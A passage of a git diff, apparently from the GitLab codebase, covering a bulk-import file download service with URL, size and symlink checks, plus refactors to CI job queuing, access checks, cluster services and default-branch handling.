+ ServiceError = Class.new(StandardError)
+
+ def initialize(configuration:, relative_url:, dir:, filename:)
+ @configuration = configuration
+ @relative_url = relative_url
+ @filename = filename
+ @dir = dir
+ @filepath = File.join(@dir, @filename)
+ end
+
+ def execute
+ validate_dir
+ validate_url
+ validate_content_type
+ validate_content_length
+
+ download_file
+
+ validate_symlink
+
+ filepath
+ end
+
+ private
+
+ attr_reader :configuration, :relative_url, :dir, :filename, :filepath
+
+ def download_file
+ File.open(filepath, 'wb') do |file|
+ bytes_downloaded = 0
+
+ http_client.stream(relative_url) do |chunk|
+ bytes_downloaded += chunk.size
+
+ raise(ServiceError, 'Invalid downloaded file') if bytes_downloaded > FILE_SIZE_LIMIT
+ raise(ServiceError, "File download error #{chunk.code}") unless chunk.code == 200
+
+ file.write(chunk)
+ end
+ end
+ rescue StandardError => e
+ File.delete(filepath) if File.exist?(filepath)
+
+ raise e
+ end
+
+ def http_client
+ @http_client ||= BulkImports::Clients::HTTP.new(
+ uri: configuration.url,
+ token: configuration.access_token
+ )
+ end
+
+ def allow_local_requests?
+ ::Gitlab::CurrentSettings.allow_local_requests_from_web_hooks_and_services?
+ end
+
+ def headers
+ @headers ||= http_client.head(relative_url).headers
+ end
+
+ def validate_dir
+ raise(ServiceError, 'Invalid target directory') unless dir.start_with?(Dir.tmpdir)
+ end
+
+ def validate_symlink
+ if File.lstat(filepath).symlink?
+ File.delete(filepath)
+
+ raise(ServiceError, 'Invalid downloaded file')
+ end
+ end
+
+ def validate_url
+ ::Gitlab::UrlBlocker.validate!(
+ http_client.resource_url(relative_url),
+ allow_localhost: allow_local_requests?,
+ allow_local_network: allow_local_requests?,
+ schemes: %w(http https)
+ )
+ end
+
+ def validate_content_length
+ content_size = headers['content-length']
+
+ raise(ServiceError, 'Invalid content length') if content_size.blank? || content_size.to_i > FILE_SIZE_LIMIT
+ end
+
+ def validate_content_type
+ content_type = headers['content-type']
+
+ raise(ServiceError, 'Invalid content type') if content_type.blank? || ALLOWED_CONTENT_TYPES.exclude?(content_type)
+ end
+ end
+end
diff --git a/app/services/bulk_imports/relation_export_service.rb b/app/services/bulk_imports/relation_export_service.rb
index 53952a33b5f..055f9cafd10 100644
--- a/app/services/bulk_imports/relation_export_service.rb
+++ b/app/services/bulk_imports/relation_export_service.rb
@@ -86,7 +86,7 @@ module BulkImports
# rubocop: disable CodeReuse/Serializer
def serializer
- @serializer ||= ::Gitlab::ImportExport::JSON::StreamingSerializer.new(
+ @serializer ||= ::Gitlab::ImportExport::Json::StreamingSerializer.new(
portable,
portable_tree,
json_writer,
@@ -96,7 +96,7 @@ module BulkImports
# rubocop: enable CodeReuse/Serializer
def json_writer
- @json_writer ||= ::Gitlab::ImportExport::JSON::NdjsonWriter.new(export_path)
+ @json_writer ||= ::Gitlab::ImportExport::Json::NdjsonWriter.new(export_path)
end
def ndjson_filename
diff --git a/app/services/ci/create_downstream_pipeline_service.rb b/app/services/ci/create_downstream_pipeline_service.rb
index 64a99e404c6..1eff76c2e5d 100644
--- a/app/services/ci/create_downstream_pipeline_service.rb
+++ b/app/services/ci/create_downstream_pipeline_service.rb
@@ -19,13 +19,14 @@ module Ci
DuplicateDownstreamPipelineError.new,
bridge_id: @bridge.id, project_id: @bridge.project_id
)
- return
+
+ return error('Already has a downstream pipeline')
end
pipeline_params = @bridge.downstream_pipeline_params
target_ref = pipeline_params.dig(:target_revision, :ref)
- return unless ensure_preconditions!(target_ref)
+ return error('Pre-conditions not met') unless ensure_preconditions!(target_ref)
service = ::Ci::CreatePipelineService.new(
pipeline_params.fetch(:project),
@@ -119,8 +120,11 @@ module Ci
return false if @bridge.triggers_child_pipeline?
if Feature.enabled?(:ci_drop_cyclical_triggered_pipelines, @bridge.project, default_enabled: :yaml)
- checksums = @bridge.pipeline.base_and_ancestors.map { |pipeline| config_checksum(pipeline) }
- checksums.uniq.length != checksums.length
+ pipeline_checksums = @bridge.pipeline.base_and_ancestors.filter_map do |pipeline|
+ config_checksum(pipeline) unless pipeline.child?
+ end
+
+ pipeline_checksums.uniq.length != pipeline_checksums.length
end
end
diff --git a/app/services/ci/create_pipeline_service.rb b/app/services/ci/create_pipeline_service.rb
index fd333e24860..c039f31aafc 100644
--- a/app/services/ci/create_pipeline_service.rb
+++ b/app/services/ci/create_pipeline_service.rb
@@ -13,6 +13,7 @@ module Ci
Gitlab::Ci::Pipeline::Chain::Validate::SecurityOrchestrationPolicy,
Gitlab::Ci::Pipeline::Chain::Config::Content,
Gitlab::Ci::Pipeline::Chain::Config::Process,
+ Gitlab::Ci::Pipeline::Chain::Validate::AfterConfig,
Gitlab::Ci::Pipeline::Chain::RemoveUnwantedChatJobs,
Gitlab::Ci::Pipeline::Chain::Skip,
Gitlab::Ci::Pipeline::Chain::SeedBlock,
diff --git a/app/services/ci/job_artifacts/create_service.rb b/app/services/ci/job_artifacts/create_service.rb
index a22ac87f660..9fc7c3b4d40 100644
--- a/app/services/ci/job_artifacts/create_service.rb
+++ b/app/services/ci/job_artifacts/create_service.rb
@@ -115,7 +115,6 @@ module Ci
case artifact.file_type
when 'dotenv' then parse_dotenv_artifact(artifact)
- when 'cluster_applications' then parse_cluster_applications_artifact(artifact)
else success
end
end
@@ -165,10 +164,6 @@ module Ci
def parse_dotenv_artifact(artifact)
Ci::ParseDotenvArtifactService.new(project, current_user).execute(artifact)
end
-
- def parse_cluster_applications_artifact(artifact)
- Clusters::ParseClusterApplicationsArtifactService.new(job, job.user).execute(artifact)
- end
end
end
end
diff --git a/app/services/ci/pipeline_creation/start_pipeline_service.rb b/app/services/ci/pipeline_creation/start_pipeline_service.rb
new file mode 100644
index 00000000000..27c12caaa0a
--- /dev/null
+++ b/app/services/ci/pipeline_creation/start_pipeline_service.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Ci
+ module PipelineCreation
+ class StartPipelineService
+ attr_reader :pipeline
+
+ def initialize(pipeline)
+ @pipeline = pipeline
+ end
+
+ def execute
+ Ci::ProcessPipelineService.new(pipeline).execute
+ end
+ end
+ end
+end
+
+::Ci::PipelineCreation::StartPipelineService.prepend_mod_with('Ci::PipelineCreation::StartPipelineService')
diff --git a/app/services/ci/pipeline_schedules/calculate_next_run_service.rb b/app/services/ci/pipeline_schedules/calculate_next_run_service.rb
new file mode 100644
index 00000000000..9978b2d4775
--- /dev/null
+++ b/app/services/ci/pipeline_schedules/calculate_next_run_service.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module Ci
+ module PipelineSchedules
+ class CalculateNextRunService < BaseService
+ include Gitlab::Utils::StrongMemoize
+
+ def execute(schedule, fallback_method:)
+ @schedule = schedule
+
+ return fallback_method.call unless ::Feature.enabled?(:ci_daily_limit_for_pipeline_schedules, project, default_enabled: :yaml)
+ return fallback_method.call unless plan_cron&.cron_valid?
+
+ now = Time.zone.now
+
+ schedule_next_run = schedule_cron.next_time_from(now)
+ return schedule_next_run if worker_cron.match?(schedule_next_run) && plan_cron.match?(schedule_next_run)
+
+ plan_next_run = plan_cron.next_time_from(now)
+ return plan_next_run if worker_cron.match?(plan_next_run)
+
+ worker_next_run = worker_cron.next_time_from(now)
+ return worker_next_run if plan_cron.match?(worker_next_run)
+
+ worker_cron.next_time_from(plan_next_run)
+ end
+
+ private
+
+ def schedule_cron
+ strong_memoize(:schedule_cron) do
+ Gitlab::Ci::CronParser.new(@schedule.cron, @schedule.cron_timezone)
+ end
+ end
+
+ def worker_cron
+ strong_memoize(:worker_cron) do
+ Gitlab::Ci::CronParser.new(worker_cron_expression, Time.zone.name)
+ end
+ end
+
+ def plan_cron
+ strong_memoize(:plan_cron) do
+ daily_limit = @schedule.daily_limit
+
+ next unless daily_limit
+
+ every_x_minutes = (1.day.in_minutes / daily_limit).to_i
+
+ Gitlab::Ci::CronParser.parse_natural("every #{every_x_minutes} minutes", Time.zone.name)
+ end
+ end
+
+ def worker_cron_expression
+ Settings.cron_jobs['pipeline_schedule_worker']['cron']
+ end
+ end
+ end
+end
diff --git a/app/services/ci/play_bridge_service.rb b/app/services/ci/play_bridge_service.rb
index c5b19a3963a..2f0bcece9e3 100644
--- a/app/services/ci/play_bridge_service.rb
+++ b/app/services/ci/play_bridge_service.rb
@@ -3,7 +3,7 @@
module Ci
class PlayBridgeService < ::BaseService
def execute(bridge)
- raise Gitlab::Access::AccessDeniedError unless can?(current_user, :play_job, bridge)
+ check_access!(bridge)
bridge.tap do |bridge|
bridge.user = current_user
@@ -14,5 +14,13 @@ module Ci
AfterRequeueJobService.new(project, current_user).execute(bridge)
end
end
+
+ private
+
+ def check_access!(bridge)
+ raise Gitlab::Access::AccessDeniedError unless can?(current_user, :play_job, bridge)
+ end
end
end
+
+Ci::PlayBridgeService.prepend_mod_with('Ci::PlayBridgeService')
diff --git a/app/services/ci/play_build_service.rb b/app/services/ci/play_build_service.rb
index 4953b1ea5fc..073c1a2d0e0 100644
--- a/app/services/ci/play_build_service.rb
+++ b/app/services/ci/play_build_service.rb
@@ -3,11 +3,7 @@
module Ci
class PlayBuildService < ::BaseService
def execute(build, job_variables_attributes = nil)
- raise Gitlab::Access::AccessDeniedError unless can?(current_user, :play_job, build)
-
- if job_variables_attributes.present? && !can?(current_user, :set_pipeline_variables, project)
- raise Gitlab::Access::AccessDeniedError
- end
+ check_access!(build, job_variables_attributes)
# Try to enqueue the build, otherwise create a duplicate.
#
@@ -23,5 +19,17 @@ module Ci
Ci::Build.retry(build, current_user)
end
end
+
+ private
+
+ def check_access!(build, job_variables_attributes)
+ raise Gitlab::Access::AccessDeniedError unless can?(current_user, :play_job, build)
+
+ if job_variables_attributes.present? && !can?(current_user, :set_pipeline_variables, project)
+ raise Gitlab::Access::AccessDeniedError
+ end
+ end
end
end
+
+Ci::PlayBuildService.prepend_mod_with('Ci::PlayBuildService')
diff --git a/app/services/ci/register_job_service.rb b/app/services/ci/register_job_service.rb
index 461647ffccc..6280bf4c986 100644
--- a/app/services/ci/register_job_service.rb
+++ b/app/services/ci/register_job_service.rb
@@ -22,11 +22,27 @@ module Ci
end
def execute(params = {})
+ db_all_caught_up = ::Gitlab::Database::LoadBalancing::Sticking.all_caught_up?(:runner, runner.id)
+
@metrics.increment_queue_operation(:queue_attempt)
- @metrics.observe_queue_time(:process, @runner.runner_type) do
+ result = @metrics.observe_queue_time(:process, @runner.runner_type) do
process_queue(params)
end
+
+ # Since we execute this query against replica it might lead to false-positive
+ # We might receive the positive response: "hi, we don't have any more builds for you".
+ # This might not be true. If our DB replica is not up-to date with when runner event was generated
+ # we might still have some CI builds to be picked. Instead we should say to runner:
+ # "Hi, we don't have any more builds now, but not everything is right anyway, so try again".
+ # Runner will retry, but again, against replica, and again will check if replication lag did catch-up.
+ if !db_all_caught_up && !result.build
+ metrics.increment_queue_operation(:queue_replication_lag)
+
+ ::Ci::RegisterJobService::Result.new(nil, false) # rubocop:disable Cop/AvoidReturnFromBlocks
+ else
+ result
+ end
end
private
@@ -109,25 +125,23 @@ module Ci
builds = builds.queued_before(params[:job_age].seconds.ago)
end
- if Feature.enabled?(:ci_register_job_service_one_by_one, runner, default_enabled: true)
- build_ids = retrieve_queue(-> { builds.pluck(:id) })
-
- @metrics.observe_queue_size(-> { build_ids.size }, @runner.runner_type)
+ build_ids = retrieve_queue(-> { builds.pluck(:id) })
- build_ids.each do |build_id|
- yield Ci::Build.find(build_id)
- end
- else
- builds_array = retrieve_queue(-> { builds.to_a })
-
- @metrics.observe_queue_size(-> { builds_array.size }, @runner.runner_type)
+ @metrics.observe_queue_size(-> { build_ids.size }, @runner.runner_type)
- builds_array.each(&blk)
+ build_ids.each do |build_id|
+ yield Ci::Build.find(build_id)
end
end
# rubocop: enable CodeReuse/ActiveRecord
def retrieve_queue(queue_query_proc)
+ ##
+ # We want to reset a load balancing session to discard the side
+ # effects of writes that could have happened prior to this moment.
+ #
+ ::Gitlab::Database::LoadBalancing::Session.clear_session
+
@metrics.observe_queue_time(:retrieve, @runner.runner_type) do
queue_query_proc.call
end
@@ -182,13 +196,7 @@ module Ci
end
def max_queue_depth
- @max_queue_depth ||= begin
- if Feature.enabled?(:gitlab_ci_builds_queue_limit, runner, default_enabled: true)
- MAX_QUEUE_DEPTH
- else
- ::Gitlab::Database::MAX_INT_VALUE
- end
- end
+ MAX_QUEUE_DEPTH
end
# Force variables evaluation to occur now
@@ -271,15 +279,11 @@ module Ci
.order(Arel.sql('COALESCE(project_builds.running_builds, 0) ASC'), 'ci_builds.id ASC')
end
end
- # rubocop: enable CodeReuse/ActiveRecord
- # rubocop: disable CodeReuse/ActiveRecord
def builds_for_project_runner
new_builds.where(project: runner.projects.without_deleted.with_builds_enabled).order('id ASC')
end
- # rubocop: enable CodeReuse/ActiveRecord
- # rubocop: disable CodeReuse/ActiveRecord
def builds_for_group_runner
# Workaround for weird Rails bug, that makes `runner.groups.to_sql` to return `runner_id = NULL`
groups = ::Group.joins(:runner_namespaces).merge(runner.runner_namespaces)
@@ -291,17 +295,23 @@ module Ci
.without_deleted
new_builds.where(project: projects).order('id ASC')
end
- # rubocop: enable CodeReuse/ActiveRecord
- # rubocop: disable CodeReuse/ActiveRecord
def running_builds_for_shared_runners
Ci::Build.running.where(runner: Ci::Runner.instance_type)
.group(:project_id).select(:project_id, 'count(*) AS running_builds')
end
+
+ def all_builds
+ if Feature.enabled?(:ci_pending_builds_queue_join, runner, default_enabled: :yaml)
+ Ci::Build.joins(:queuing_entry)
+ else
+ Ci::Build.all
+ end
+ end
# rubocop: enable CodeReuse/ActiveRecord
def new_builds
- builds = Ci::Build.pending.unstarted
+ builds = all_builds.pending.unstarted
builds = builds.ref_protected if runner.ref_protected?
builds
end
diff --git a/app/services/ci/retry_build_service.rb b/app/services/ci/retry_build_service.rb
index e03f2ae3d52..ea76771b80a 100644
--- a/app/services/ci/retry_build_service.rb
+++ b/app/services/ci/retry_build_service.rb
@@ -34,15 +34,9 @@ module Ci
attributes[:user] = current_user
Ci::Build.transaction do
- # mark all other builds of that name as retried
- build.pipeline.builds.latest
- .where(name: build.name)
- .update_all(retried: true, processed: true)
-
- create_build!(attributes).tap do
- # mark existing object as retried/processed without a reload
- build.retried = true
- build.processed = true
+ create_build!(attributes).tap do |new_build|
+ new_build.update_older_statuses_retried!
+ build.reset # refresh the data to get new values of `retried` and `processed`.
end
end
end
@@ -59,7 +53,6 @@ module Ci
def create_build!(attributes)
build = project.builds.new(attributes)
build.assign_attributes(::Gitlab::Ci::Pipeline::Seed::Build.environment_attributes_for(build))
- build.retried = false
BulkInsertableAssociations.with_bulk_insert do
build.save!
end
diff --git a/app/services/ci/update_build_queue_service.rb b/app/services/ci/update_build_queue_service.rb
index cf629b879b3..eea09e9ac67 100644
--- a/app/services/ci/update_build_queue_service.rb
+++ b/app/services/ci/update_build_queue_service.rb
@@ -2,13 +2,103 @@
module Ci
class UpdateBuildQueueService
- def execute(build, metrics = ::Gitlab::Ci::Queue::Metrics)
- tick_for(build, build.project.all_runners, metrics)
+ InvalidQueueTransition = Class.new(StandardError)
+
+ attr_reader :metrics
+
+ def initialize(metrics = ::Gitlab::Ci::Queue::Metrics)
+ @metrics = metrics
+ end
+
+ ##
+ # Add a build to the pending builds queue
+ #
+ def push(build, transition)
+ return unless maintain_pending_builds_queue?(build)
+
+ raise InvalidQueueTransition unless transition.to == 'pending'
+
+ transition.within_transaction do
+ result = build.create_queuing_entry!
+
+ unless result.empty?
+ metrics.increment_queue_operation(:build_queue_push)
+
+ result.rows.dig(0, 0)
+ end
+ end
+ end
+
+ ##
+ # Remove a build from the pending builds queue
+ #
+ def pop(build, transition)
+ return unless maintain_pending_builds_queue?(build)
+
+ raise InvalidQueueTransition unless transition.from == 'pending'
+
+ transition.within_transaction do
+ removed = build.all_queuing_entries.delete_all
+
+ if removed > 0
+ metrics.increment_queue_operation(:build_queue_pop)
+
+ build.id
+ end
+ end
+ end
+
+ ##
+ # Add shared runner build tracking entry (used for queuing).
+ #
+ def track(build, transition)
+ return unless Feature.enabled?(:ci_track_shared_runner_builds, build.project, default_enabled: :yaml)
+ return unless build.shared_runner_build?
+
+ raise InvalidQueueTransition unless transition.to == 'running'
+
+ transition.within_transaction do
+ result = ::Ci::RunningBuild.upsert_shared_runner_build!(build)
+
+ unless result.empty?
+ metrics.increment_queue_operation(:shared_runner_build_new)
+
+ result.rows.dig(0, 0)
+ end
+ end
+ end
+
+ ##
+ # Remove a runtime build tracking entry for a shared runner build (used for
+ # queuing).
+ #
+ def untrack(build, transition)
+ return unless Feature.enabled?(:ci_untrack_shared_runner_builds, build.project, default_enabled: :yaml)
+ return unless build.shared_runner_build?
+
+ raise InvalidQueueTransition unless transition.from == 'running'
+
+ transition.within_transaction do
+ removed = build.all_runtime_metadata.delete_all
+
+ if removed > 0
+ metrics.increment_queue_operation(:shared_runner_build_done)
+
+ build.id
+ end
+ end
+ end
+
+ ##
+ # Unblock runner associated with given project / build
+ #
+ def tick(build)
+ tick_for(build, build.project.all_available_runners)
end
private
- def tick_for(build, runners, metrics)
+ def tick_for(build, runners)
runners = runners.with_recent_runner_queue
runners = runners.with_tags if Feature.enabled?(:ci_preload_runner_tags, default_enabled: :yaml)
@@ -20,5 +110,9 @@ module Ci
runner.pick_build!(build)
end
end
+
+ def maintain_pending_builds_queue?(build)
+ Feature.enabled?(:ci_pending_builds_queue_maintain, build.project, default_enabled: :yaml)
+ end
end
end
diff --git a/app/services/ci/update_build_state_service.rb b/app/services/ci/update_build_state_service.rb
index 874f4bf459a..abd50d2f110 100644
--- a/app/services/ci/update_build_state_service.rb
+++ b/app/services/ci/update_build_state_service.rb
@@ -19,8 +19,6 @@ module Ci
end
def execute
- overwrite_trace! if has_trace?
-
unless accept_available?
return update_build_state!
end
@@ -34,12 +32,6 @@ module Ci
private
- def overwrite_trace!
- metrics.increment_trace_operation(operation: :overwrite)
-
- build.trace.set(params[:trace]) if Gitlab::Ci::Features.trace_overwrite?
- end
-
def ensure_pending_state!
pending_state.created_at
end
@@ -151,10 +143,6 @@ module Ci
params.dig(:state).to_s
end
- def has_trace?
- params.dig(:trace).present?
- end
-
def has_checksum?
trace_checksum.present?
end
@@ -181,7 +169,7 @@ module Ci
state: params.fetch(:state),
trace_checksum: trace_checksum,
trace_bytesize: trace_bytesize,
- failure_reason: params.dig(:failure_reason)
+ failure_reason: failure_reason
)
unless build_state.present?
@@ -191,6 +179,14 @@ module Ci
build_state || build.pending_state
end
+ def failure_reason
+ reason = params.dig(:failure_reason)
+
+ return unless reason
+
+ Ci::BuildPendingState.failure_reasons.fetch(reason.to_s, 'unknown_failure')
+ end
+
##
# This method is releasing an exclusive lock on a build trace the moment we
# conclude that build status has been written and the build state update
diff --git a/app/services/clusters/applications/base_service.rb b/app/services/clusters/applications/base_service.rb
index 39a2d6bf758..c6f22cfa04c 100644
--- a/app/services/clusters/applications/base_service.rb
+++ b/app/services/clusters/applications/base_service.rb
@@ -5,8 +5,6 @@ module Clusters
class BaseService
InvalidApplicationError = Class.new(StandardError)
- FLUENTD_KNOWN_ATTRS = %i[host protocol port waf_log_enabled cilium_log_enabled].freeze
-
attr_reader :cluster, :current_user, :params
def initialize(cluster, user, params = {})
@@ -29,16 +27,6 @@ module Clusters
application.stack = params[:stack]
end
- if application.has_attribute?(:modsecurity_enabled)
- application.modsecurity_enabled = params[:modsecurity_enabled] || false
- end
-
- if application.has_attribute?(:modsecurity_mode)
- application.modsecurity_mode = params[:modsecurity_mode] || 0
- end
-
- apply_fluentd_related_attributes(application)
-
if application.respond_to?(:oauth_application)
application.oauth_application = create_oauth_application(application, request)
end
@@ -103,12 +91,6 @@ module Clusters
::Applications::CreateService.new(current_user, oauth_application_params).execute(request)
end
-
- def apply_fluentd_related_attributes(application)
- FLUENTD_KNOWN_ATTRS.each do |attr|
- application[attr] = params[attr] if application.has_attribute?(attr)
- end
- end
end
end
end
diff --git a/app/services/clusters/applications/schedule_update_service.rb b/app/services/clusters/applications/schedule_update_service.rb
index 4f130f76b87..4fabf1d809e 100644
--- a/app/services/clusters/applications/schedule_update_service.rb
+++ b/app/services/clusters/applications/schedule_update_service.rb
@@ -1,5 +1,6 @@
# frozen_string_literal: true
+# DEPRECATED: To be removed as part of https://gitlab.com/groups/gitlab-org/-/epics/5877
module Clusters
module Applications
class ScheduleUpdateService
@@ -7,14 +8,14 @@ module Clusters
attr_accessor :application, :project
- def initialize(application, project)
- @application = application
+ def initialize(cluster_prometheus_adapter, project)
+ @application = cluster_prometheus_adapter&.cluster&.application_prometheus
@project = project
end
def execute
return unless application
- return unless application.managed_prometheus?
+ return if application.externally_installed?
if recently_scheduled?
worker_class.perform_in(BACKOFF_DELAY, application.name, application.id, project.id, Time.current)
diff --git a/app/services/clusters/cleanup/app_service.rb b/app/services/clusters/cleanup/app_service.rb
deleted file mode 100644
index a7e29c78ea0..00000000000
--- a/app/services/clusters/cleanup/app_service.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- module Cleanup
- class AppService < Clusters::Cleanup::BaseService
- def execute
- persisted_applications = @cluster.persisted_applications
-
- persisted_applications.each do |app|
- next unless app.available?
- next unless app.can_uninstall?
-
- log_event(:uninstalling_app, application: app.class.application_name)
- uninstall_app_async(app)
- end
-
- # Keep calling the worker untill all dependencies are uninstalled
- return schedule_next_execution(Clusters::Cleanup::AppWorker) if persisted_applications.any?
-
- log_event(:schedule_remove_project_namespaces)
- cluster.continue_cleanup!
- end
-
- private
-
- def uninstall_app_async(application)
- application.make_scheduled!
-
- Clusters::Applications::UninstallWorker.perform_async(application.name, application.id)
- end
- end
- end
-end
diff --git a/app/services/clusters/cleanup/project_namespace_service.rb b/app/services/clusters/cleanup/project_namespace_service.rb
index 7621be565ff..16254041306 100644
--- a/app/services/clusters/cleanup/project_namespace_service.rb
+++ b/app/services/clusters/cleanup/project_namespace_service.rb
@@ -2,7 +2,7 @@
module Clusters
module Cleanup
- class ProjectNamespaceService < BaseService
+ class ProjectNamespaceService < ::Clusters::Cleanup::BaseService
KUBERNETES_NAMESPACE_BATCH_SIZE = 100
def execute
diff --git a/app/services/clusters/cleanup/service_account_service.rb b/app/services/clusters/cleanup/service_account_service.rb
index d60bd76d388..baac9e4a9e7 100644
--- a/app/services/clusters/cleanup/service_account_service.rb
+++ b/app/services/clusters/cleanup/service_account_service.rb
@@ -2,7 +2,7 @@
module Clusters
module Cleanup
- class ServiceAccountService < BaseService
+ class ServiceAccountService < ::Clusters::Cleanup::BaseService
def execute
delete_gitlab_service_account
diff --git a/app/services/clusters/gcp/finalize_creation_service.rb b/app/services/clusters/gcp/finalize_creation_service.rb
index 0aff1bcc8b9..73d6fc4dc8f 100644
--- a/app/services/clusters/gcp/finalize_creation_service.rb
+++ b/app/services/clusters/gcp/finalize_creation_service.rb
@@ -43,8 +43,6 @@ module Clusters
cluster.build_platform_kubernetes(
api_url: 'https://' + gke_cluster.endpoint,
ca_cert: Base64.decode64(gke_cluster.master_auth.cluster_ca_certificate),
- username: gke_cluster.master_auth.username,
- password: gke_cluster.master_auth.password,
authorization_type: authorization_type,
token: request_kubernetes_token)
end
@@ -75,18 +73,16 @@ module Clusters
def kube_client
@kube_client ||= build_kube_client!(
'https://' + gke_cluster.endpoint,
- Base64.decode64(gke_cluster.master_auth.cluster_ca_certificate),
- gke_cluster.master_auth.username,
- gke_cluster.master_auth.password
+ Base64.decode64(gke_cluster.master_auth.cluster_ca_certificate)
)
end
- def build_kube_client!(api_url, ca_pem, username, password)
- raise "Incomplete settings" unless api_url && username && password
+ def build_kube_client!(api_url, ca_pem)
+ raise "Incomplete settings" unless api_url
Gitlab::Kubernetes::KubeClient.new(
api_url,
- auth_options: { username: username, password: password },
+ auth_options: { bearer_token: provider.access_token },
ssl_options: kubeclient_ssl_options(ca_pem),
http_proxy_uri: ENV['http_proxy']
)
diff --git a/app/services/clusters/parse_cluster_applications_artifact_service.rb b/app/services/clusters/parse_cluster_applications_artifact_service.rb
deleted file mode 100644
index b9b2953b6bd..00000000000
--- a/app/services/clusters/parse_cluster_applications_artifact_service.rb
+++ /dev/null
@@ -1,94 +0,0 @@
-# frozen_string_literal: true
-
-module Clusters
- class ParseClusterApplicationsArtifactService < ::BaseService
- include Gitlab::Utils::StrongMemoize
-
- MAX_ACCEPTABLE_ARTIFACT_SIZE = 5.kilobytes
- RELEASE_NAMES = %w[cilium].freeze
-
- def initialize(job, current_user)
- @job = job
-
- super(job.project, current_user)
- end
-
- def execute(artifact)
- raise ArgumentError, 'Artifact is not cluster_applications file type' unless artifact&.cluster_applications?
-
- return error(too_big_error_message, :bad_request) unless artifact.file.size < MAX_ACCEPTABLE_ARTIFACT_SIZE
- return error(no_deployment_message, :bad_request) unless job.deployment
- return error(no_deployment_cluster_message, :bad_request) unless cluster
-
- parse!(artifact)
-
- success
- rescue Gitlab::Kubernetes::Helm::Parsers::ListV2::ParserError, ActiveRecord::RecordInvalid => error
- Gitlab::ErrorTracking.track_exception(error, job_id: artifact.job_id)
- error(error.message, :bad_request)
- end
-
- private
-
- attr_reader :job
-
- def cluster
- strong_memoize(:cluster) do
- deployment_cluster = job.deployment&.cluster
-
- deployment_cluster if Ability.allowed?(current_user, :admin_cluster, deployment_cluster)
- end
- end
-
- def parse!(artifact)
- releases = []
-
- artifact.each_blob do |blob|
- next if blob.empty?
-
- releases.concat(Gitlab::Kubernetes::Helm::Parsers::ListV2.new(blob).releases)
- end
-
- update_cluster_application_statuses!(releases)
- end
-
- def update_cluster_application_statuses!(releases)
- release_by_name = releases.index_by { |release| release['Name'] }
-
- Clusters::Cluster.transaction do
- RELEASE_NAMES.each do |release_name|
- application_class = Clusters::Cluster::APPLICATIONS[release_name]
- application = cluster.find_or_build_application(application_class)
-
- release = release_by_name[release_name]
-
- if release
- case release['Status']
- when 'DEPLOYED'
- application.make_externally_installed!
- when 'FAILED'
- application.make_errored!(s_('ClusterIntegration|Helm release failed to install'))
- end
- else
- # missing, so by definition, we consider this uninstalled
- application.make_externally_uninstalled! if application.persisted?
- end
- end
- end
- end
-
- def too_big_error_message
- human_size = ActiveSupport::NumberHelper.number_to_human_size(MAX_ACCEPTABLE_ARTIFACT_SIZE)
-
- s_('ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}') % { human_size: human_size }
- end
-
- def no_deployment_message
- s_('ClusterIntegration|No deployment found for this job')
- end
-
- def no_deployment_cluster_message
- s_('ClusterIntegration|No deployment cluster found for this job')
- end
- end
-end
diff --git a/app/services/commits/change_service.rb b/app/services/commits/change_service.rb
index edb9f04ccd7..dc7f84ab807 100644
--- a/app/services/commits/change_service.rb
+++ b/app/services/commits/change_service.rb
@@ -6,6 +6,7 @@ module Commits
super
@commit = params[:commit]
+ @message = params[:message]
end
private
@@ -14,7 +15,9 @@ module Commits
raise NotImplementedError unless repository.respond_to?(action)
# rubocop:disable GitlabSecurity/PublicSend
- message = @commit.public_send(:"#{action}_message", current_user)
+ message =
+ @message || @commit.public_send(:"#{action}_message", current_user)
+
repository.public_send(
action,
current_user,
diff --git a/app/services/container_expiration_policies/cleanup_service.rb b/app/services/container_expiration_policies/cleanup_service.rb
index 38a3fc231c6..cd988cdc5fe 100644
--- a/app/services/container_expiration_policies/cleanup_service.rb
+++ b/app/services/container_expiration_policies/cleanup_service.rb
@@ -49,7 +49,6 @@ module ContainerExpirationPolicies
private
def schedule_next_run_if_needed
- return unless Feature.enabled?(:container_registry_expiration_policies_loopless)
return if policy.next_run_at.future?
repos_before_next_run = ::ContainerRepository.for_project_id(policy.project_id)
diff --git a/app/services/deployments/update_environment_service.rb b/app/services/deployments/update_environment_service.rb
index 9e862d6fa52..6f85779c285 100644
--- a/app/services/deployments/update_environment_service.rb
+++ b/app/services/deployments/update_environment_service.rb
@@ -9,6 +9,8 @@ module Deployments
delegate :variables, to: :deployable
delegate :options, to: :deployable, allow_nil: true
+ EnvironmentUpdateFailure = Class.new(StandardError)
+
def initialize(deployment)
@deployment = deployment
@deployable = deployment.deployable
@@ -31,8 +33,18 @@ module Deployments
renew_deployment_tier
environment.fire_state_event(action)
- if environment.save && !environment.stopped?
- deployment.update_merge_request_metrics!
+ if environment.save
+ deployment.update_merge_request_metrics! unless environment.stopped?
+ else
+ # If there is a validation error on environment update, such as
+ # the external URL is malformed, the error message is recorded for debugging purpose.
+ # We should surface the error message to users for letting them to take an action.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/21182.
+ Gitlab::ErrorTracking.track_exception(
+ EnvironmentUpdateFailure.new,
+ project_id: deployment.project_id,
+ environment_id: environment.id,
+ reason: environment.errors.full_messages.to_sentence)
end
end
end
diff --git a/app/services/design_management/copy_design_collection/copy_service.rb b/app/services/design_management/copy_design_collection/copy_service.rb
index 496103f9e58..b40f6a81174 100644
--- a/app/services/design_management/copy_design_collection/copy_service.rb
+++ b/app/services/design_management/copy_design_collection/copy_service.rb
@@ -86,7 +86,7 @@ module DesignManagement
def with_temporary_branch(&block)
target_repository.create_if_not_exists
- create_master_branch! if target_repository.empty?
+ create_default_branch! if target_repository.empty?
create_temporary_branch!
yield
@@ -95,9 +95,9 @@ module DesignManagement
end
# A project that does not have any designs will have a blank design
- # repository. To create a temporary branch from `master` we need
- # create `master` first by adding a file to it.
- def create_master_branch!
+ # repository. To create a temporary branch from default branch we need to
+ # create default branch first by adding a file to it.
+ def create_default_branch!
target_repository.create_file(
git_user,
".CopyDesignCollectionService_#{Time.now.to_i}",
@@ -121,7 +121,7 @@ module DesignManagement
target_repository.rm_branch(git_user, temporary_branch)
end
- # Merge the temporary branch containing the commits to `master`
+ # Merge the temporary branch containing the commits to default branch
# and update the state of the target_design_collection.
def finalize!
source_sha = shas.last
